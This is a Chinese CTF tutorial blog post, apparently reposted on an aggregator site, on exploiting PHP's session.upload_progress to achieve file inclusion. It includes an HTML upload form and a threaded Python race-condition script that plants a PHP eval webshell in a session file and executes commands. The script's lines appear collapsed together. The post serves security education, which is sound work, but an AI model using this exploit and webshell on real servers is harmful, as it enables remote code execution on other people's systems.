深入浅出带你学习利用session.upload_progress进行文件包含

news2024/12/22 3:27:32

前言

该思路是很久之前在CTF比赛中学习到的,可以简单理解为利用session.upload_progress来进行文件竞争从而达到上传文件进行文件包含或者命令执行的目的,可能大部分人会不理解,我们下面我们展开来讲。

基础知识

session.upload_progress

首先我们要先学习什么是session.upload_progress,可以简单理解为文件上传进度,在php官方文档里可以找到描述:

在这里面有几个很重要的函数,我们简单看一下:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" 

第一个显而易见是设定是否开启该功能,第二个cleanup则是是否在上传后删除文件,第三个为设置前缀,第四个为session中的键值,那么他们有什么用呢?我们就可以在phpinfo里查看这些信息是否开启以此来判断能不能利用该漏洞。

攻击方法

我们攻击思路就是利用session.upload_progress来将木马写入到session里面,但这里有两个问题:

问题一:代码里没有session_start,我们如何创建session文件呢?

首先我们先看看session里面有一个很重要的选项:

session.use_strict_mode //默认值为off。 

我们可以自己定义sessionid,假如我们定义sessionid为xino,则PHP将会在服务器上创建一个文件:/tmp/sess_xino”。即使我们没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由:

ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成 

最后被写入sess_文件里。

问题二:上面的cleanup设置会删除数据,我们要如何防止数据被删除呢?

所以这里需要我们文件竞争不断发包直至上传成功,之后再读取session文件所在路径即可。类似于下图,可以搭配burpsuite使用:

之后我们即可进行文件包含或者RCE攻击,总结一下该漏洞的利用条件:

1.存在文件包含漏洞

2.知道session文件存放路径,可以尝试默认路径

3.具有读取和写入session文件的权限

下面给大家带来一个例题。

例题

进入题目首先看看题目源码:

限制了我们很多东西,只能使用没有后缀的文件进行文件包含所以想到通过session.upload_progress来进行文件包含,因为我们需要上传一个东西,所以我们先写一个简单的文件上传点:

<!DOCTYPE html>
<html>
<body>
<form action="http://ctf" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html> 

之后我们进行发包抓包然后重放,查看回显成功后我们访问/tmp/sess_flag,发现命令执行了:

我们将之前发包文件里面的ls命令改为cat flag的文件名即可进行命令执行,也是抓包重放查看返回长度不一样的包:

如果不喜欢手动我这里从网上找了一个自动化脚本,大家也可以尝试一下:

import io
import requests
import threading
sessid = 'FLAG'
data = {"cmd":"system('ls');"}
def write(session):while True:f = io.BytesIO(b'a' * 1024 * 50)resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):while True:resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)if '1.txt' in resp.text:print(resp.text)event.clear()else:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,30): threading.Thread(target=write,args=(session,)).start()for i in range(1,30):threading.Thread(target=read,args=(session,)).start()event.set() 

结语

今天给大家带来的是session.upload_progress文件包含漏洞,因为需要一些网络安全基础可能部分读者不太明白,这里有兴趣的小伙伴可以自己去了解一下找个现成的靶机去尝试一下,喜欢本文的希望可以一键三连支持一下。

最后

最近找到一个VUE的文档,它将VUE的各个知识点进行了总结,整理成了《Vue 开发必须知道的36个技巧》。内容比较详实,对各个知识点的讲解也十分到位。



有需要的小伙伴,可以点击下方卡片领取,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/350995.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java并发编程面试题——线程安全(原子性、可见性、有序性)

文章目录一、原子性高频问题1.1 Java中如何实现线程安全?1.2 CAS底层实现1.3 CAS的常见问题1.4 四种引用类型 ThreadLocal的问题&#xff1f;二、可见性高频问题2.1 Java的内存模型2.2 保证可见性的方式2.3 volatile修饰引用数据类型2.4 有了MESI协议&#xff0c;为啥还有vol…

2022年全国职业院校技能大赛网络安全竞赛A模块(2)

2022年全国职业院校技能大赛&#xff08;中职组&#xff09; 网络安全竞赛试题 &#xff08;2&#xff09; 目录 2022年全国职业院校技能大赛&#xff08;中职组&#xff09; 网络安全竞赛试题 &#xff08;2&#xff09; 模块A 基础设施设置与安全加固 A-1任务一 登录安…

ChatGPT引爆资本狂潮,AI大战升级版打响!谷歌紧急上线对标竞品,微软测试AI搜索引擎,百度宣国产版定档,谁才是最后的赢家?

文 BFT机器人 如果你迄今为止还没有听说过ChatGPT&#xff0c;那就已经彻彻底底被人工智能的新时代甩到身后了。 如果说去年年底ChatGPT刚推出的时候&#xff0c;大多数网友对其的态度还是认为它和Clubhouse一样仅会是昙花一现的话&#xff0c;那么2个月时间过去&#xff0c;C…

【Ubuntu换源教程】不同Ubuntu系统版本换清华源

今天在新电脑上装了虚拟机VMware Workstation Pro 16&#xff0c;在虚拟机上安装了Ubuntu20.04系统。 在做Ubuntu20.04系统换源的时候&#xff0c;发现源要和Ubuntu的版本匹配&#xff0c;之前一直不知道&#xff0c;一直都是盲目换源&#xff0c;版本如果不匹配的话&#xff…

【日常】矩阵正态分布参数检验问题

最近给凯爹做的一个苦力活&#xff0c;统计检验这个东西说实话也挺有趣&#xff0c;跟算法设计一样&#xff0c;好的检验真的是挺难设计的&#xff0c;就有近似算法的那种感觉&#xff0c;检验很难保证size和power都很理想&#xff0c;所以就要做tradeoff&#xff0c;感觉这个假…

DPR-34 AC22V【双位置继电器】

系列型号&#xff1a; DPR-20双位置继电器&#xff1b;DPR-31双位置继电器&#xff1b; DPR-32双位置继电器&#xff1b;DPR-33双位置继电器&#xff1b; DPR-34双位置继电器&#xff1b;DPR-35双位置继电器&#xff1b; DPR-11双位置继电器&#xff1b;DPR-12双位置继电器&…

Python-项目实战--贪吃蛇小游戏-游戏框架搭建(3)

1.游戏框架搭建介绍pygame开发图像界面游戏的几个要素&#xff0c;并且把贪吃蛇游戏的整体框架搭建完成本节知识点包括&#xff1a;pygame的初始化和退出游戏主窗口游戏循环和游戏时钟主窗口背景颜色绘制文本pygame的坐标系游戏事件监听绘制图形定时器事件1.5绘制文本pygame的f…

Nuclei文*件上*传FUZZ POC

目录 1.前言 2. Nuclei文件上传FUZZ POC 3. 实战中的应用 1.前言 该文件上传FUZZ POC主要来源于一个靶*场,该POC 主要用来FUZZ目标js页面中的upload ajax请求,以此来进一步尝试文件上传漏*洞利*用。 这里也要感谢下“打工仔1号”提供的开*发人员常见的文*件上*传javaScr…

设计模式(九)----结构型模式之代理模式

一、结构型模式 结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式&#xff0c;前者采用继承机制或者实现机制来组织接口和类&#xff0c;后者釆用组合或聚合来组合对象。 由于组合关系或聚合关系比继承关系耦合度低&#xff0c;满…

数字孪生|可视化图表之堆叠柱状图

一、含义 堆叠柱状图&#xff08;Stacked Bar Chart&#xff09;将每个柱子进行分割以显示相同类型下各个数据的大小情况&#xff0c;它将多个数据集的柱子彼此叠加显示&#xff0c;适合用来显示大类别如何细分为较小的类别&#xff0c;以及每部分与总量之间的关系。在展示不同…

Lecture5 实现线性回归(Linear Regression with PyTorch)

目录 1 Pytorch实现线性回归 1.1 实现思路 1.2 完整代码 2 各部分代码逐行详解 2.1 准备数据集 2.2 设计模型 2.2.1 代码 2.2.2 代码逐行详解 2.2.3 疑难点解答 2.3 构建损失函数和优化器 2.4 训练周期 2.5 测试结果 3 线性回归中常用优化器 1 Pytorch实现线性回归…

网络协议(七):传输层-UDP

网络协议系列文章 网络协议(一)&#xff1a;基本概念、计算机之间的连接方式 网络协议(二)&#xff1a;MAC地址、IP地址、子网掩码、子网和超网 网络协议(三)&#xff1a;路由器原理及数据包传输过程 网络协议(四)&#xff1a;网络分类、ISP、上网方式、公网私网、NAT 网络…

06- 信用卡反欺诈 (机器学习集成算法) (项目六)

本项目为 kaggle 项目 项目难点在于: 盗刷的比例占总数据量的比例较低, 直接预测为非盗刷也有 99.8% 的准确率.data.info() # 查看所有信息msno.matrix(data) # 查看缺失值axis1 时 # 删除列显示颜色种类 from matplotlib import colors plt.colormaps() # mag…

关于知识图谱TransR

论文题目 Learning Entity and Relation Embeddings for Knowledge Graph Completion 论文链接 TransR 文中指出&#xff0c;不管是TransE还是TransH都是将实体和关系映射同一空间&#xff0c;但是&#xff0c;一个实体可能具有多个层面的信息&#xff0c;不同的关系可能关注…

ray简单介绍

ray使用也有一段时间了, 这篇文章总结下ray的使用场景和用法 ray可以做什么? 总结就两点: 可以将其视为一个进程池(当然不仅限于此), 可以用于开发并发应用还可以将应用改造为分布式 基于以上两点, 有人称之为:Modern Parallel and Distributed Python 构成 Ray AI Runtim…

Redis多级缓存

文章目录一. 什么是多级缓存二. JVM进程缓存一. 什么是多级缓存 传统的缓存策略一般是请求到达Tomcat后&#xff0c;先查询Redis&#xff0c;如果未命中则查询数据库&#xff0c;如图&#xff1a; 存在下面的问题&#xff1a; 请求要经过Tomcat处理&#xff0c;Tomcat的性能…

Linux高级IO

文章目录一、五种 IO 模型1.阻塞 IO2.非阻塞 IO3.信号驱动 IO4. IO 多路转接5.异步 IO二、高级 IO 重要概念1.同步通信和异步通信2.阻塞和非阻塞fcntl 系统调用3.其他高级 IO三、I/O 多路转接之 select1.函数原型socket 就绪的条件2.理解 select 的执行过程3.使用示例4. select…

新手小白如何入门黑客技术?

你是否对黑客技术感兴趣呢&#xff1f;感觉成为黑客是一件很酷的事。那么作为新手小白&#xff0c;我们该如何入门黑客技术&#xff0c;黑客技术又是学什么呢&#xff1f; 其实不管你想在哪个新的领域里有所收获&#xff0c;你需要考虑以下几个问题&#xff1a; 首先&#xff…

Springboot扩展点之FactoryBean

前言FactoryBean是一个有意思&#xff0c;且非常重要的扩展点&#xff0c;之所以说是有意思&#xff0c;是因为它老是被拿来与另一个名字比较类似的BeanFactory来比较&#xff0c;特别是在面试当中&#xff0c;动不动就问你&#xff1a;你了解Beanfactory和FactoryBean的区别吗…

spring cloud gateway网关和链路监控

文章目录 目录 文章目录 前言 一、网关 1.1 gateway介绍 1.2 如何使用gateway 1.3 网关优化 1.4自定义断言和过滤器 1.4.1 自定义断言 二、Sleuth--链路追踪 2.1 链路追踪介绍 2.2 Sleuth介绍 2.3 使用 2.4 Zipkin的集成 2.5 使用可视化zipkin来监控微服务 总结 前言 一、网关…